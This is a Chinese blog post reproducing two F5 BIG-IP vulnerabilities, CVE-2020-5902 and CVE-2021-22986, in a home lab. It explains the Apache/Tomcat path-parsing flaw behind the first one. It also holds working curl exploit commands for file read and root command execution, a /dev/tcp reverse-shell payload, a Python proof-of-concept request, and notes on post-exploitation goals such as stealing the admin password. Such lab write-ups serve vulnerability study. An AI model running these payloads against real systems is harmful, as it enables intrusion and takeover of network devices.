栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

F5漏洞复现[CVE-2020-5902]与[CVE

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

F5漏洞复现[CVE-2020-5902]与[CVE

引言

  F5 BIG-IP 广泛应用于大型企业,数据中心、云计算平台中,可以实现应用加速、负载均衡、SLL过载、web应用防火墙等功能。这篇文章主要是复现F5的漏洞,包括其被远程代码执行的过程, 以及探究以下我们可以在F5上远程执行代码之后可以做哪些事情。

环境搭建

  F5的环境搭建教程在网上可以查到很多,这里大概介绍以下流程与心得。

  • 首先搭建环境需要使用vmware软件运行F5的镜像来实现,需要下载并安装相关文件,这里使用的是家用个人电脑。
  • 亲测过在F5网站上注册好后,下载含有漏洞的F5镜像失败的,于是在其他网站上找的镜像,F5版本为 BIGIP-15.0.0, 并且该版本中包含了[CVE-2020-5902]与[CVE_2021_22986]这两个漏洞。
  • 仅对于漏洞利用来讲, F5账号的注册以及申请试用证书这个步骤不是必须的。只要获取的漏洞版本的镜像即可。
  • F5的后台其实是一个linux操作系统,可以执行shell命令。
漏洞 [CVE-2020-5902] 漏洞的原因分析:
漏洞原因是F5 BIG-IP设备前端采用Apache来接收用户请求,后端可同时处理php和java请求,使用AJP协议处理java应用,通过AJP协议将Apache接收到的数据封装并交给Tomcat。查看具体的配置文件/etc/httpd/conf.d/proxy_ajp.conf。

# /etc/httpd/conf.d/proxy_ajp.conf
 
ProxyPassMatch ^/tmui/(.*.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5

Apache在处理 /tmui/login.jsp/…;/tmui/locallb/workspace/fileRead.jsp ,会认为处理的是 /tmui/login.jsp 文件,但是 .*.jsp 会进行最大限度的匹配,所以就会将完整的/tmui/login.jsp/…;/tmui/locallb/workspace/fileRead.jsp 转给 Tomcat 处理。关于Apache 对访问权限校验的处理,得去看 /etc/httpd/modules/mod_auth_pam.so ,Tomcat 在处理 /tmui/login.jsp/…;/tmui/locallb/workspace/fileRead.jsp 的时候,会先去除 ; / 之间的字符。

漏洞验证:

我使用的ip 是192.168.31.211
一共有两种交互方式, 在网页中输入url的方式和输入curl命令的方式。

# 在网页中输入url
https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

漏洞利用:

利用过程中有如下要点,先提出来:

  • 利用该漏洞可以以root权限在F5环境中执行命令
  • 通过调用crul命令可以对文件进行读写操作
  • bash命令必须要用alias创建别名,否则会命令执行失败
  • 将运行脚本写入F5中的文件, 并运行该脚本,理论上可以执行任意shell命令
  • 使用反弹shell来获取F5的shell
## 创建或者修改别名(create后要使用modify)
curl -k "https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash"
curl -k "https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=modify+cli+alias+private+list+command+bash"

## 命令写入脚本并执行脚本
curl -k -H "Content-Type: application/x-www-form-urlencoded" -X POST -d "fileName=/tmp/test&content=ls /tmp" "https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp"
curl -k "https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/test"

执行了 ls /tmp的命令

下面进行反弹shell的实验

curl -k -H "Content-Type: application/x-www-form-urlencoded" -X POST -d "fileName=/tmp/test&content=bash -i > /dev/tcp/192.168.31.56/7856 0>%261 2>%261" "https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp"
curl -k "https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/test"

要点: &符号在url 中需要转换为%26

获取到shell之后可以做哪些事情呢?

如何进一步扩大攻击范围?

  • 问题,能否隐藏,或者反弹shell能否记录history
  • 获取admin密码
  • 攻击其他ip
漏洞 [CVE_2021_22986]

构造请求数据包,执行任意命令
方法一:
python请求

def POC_1(target_url):
    vuln_url = target_url + "/mgmt/tm/util/bash"
    headers = {
        "Authorization": "Basic YWRtaW46QVNhc1M=",
        "X-F5-Auth-Token": "",
        "Content-Type": "application/json"
    }
    data = '{"command":"run","utilCmdArgs":"-c id"}'

方法二:
postman构造请求:

方法三:
curl命令请求:(该方法请求没有验证通过)

下面进行反弹shell的实验

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/571694.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号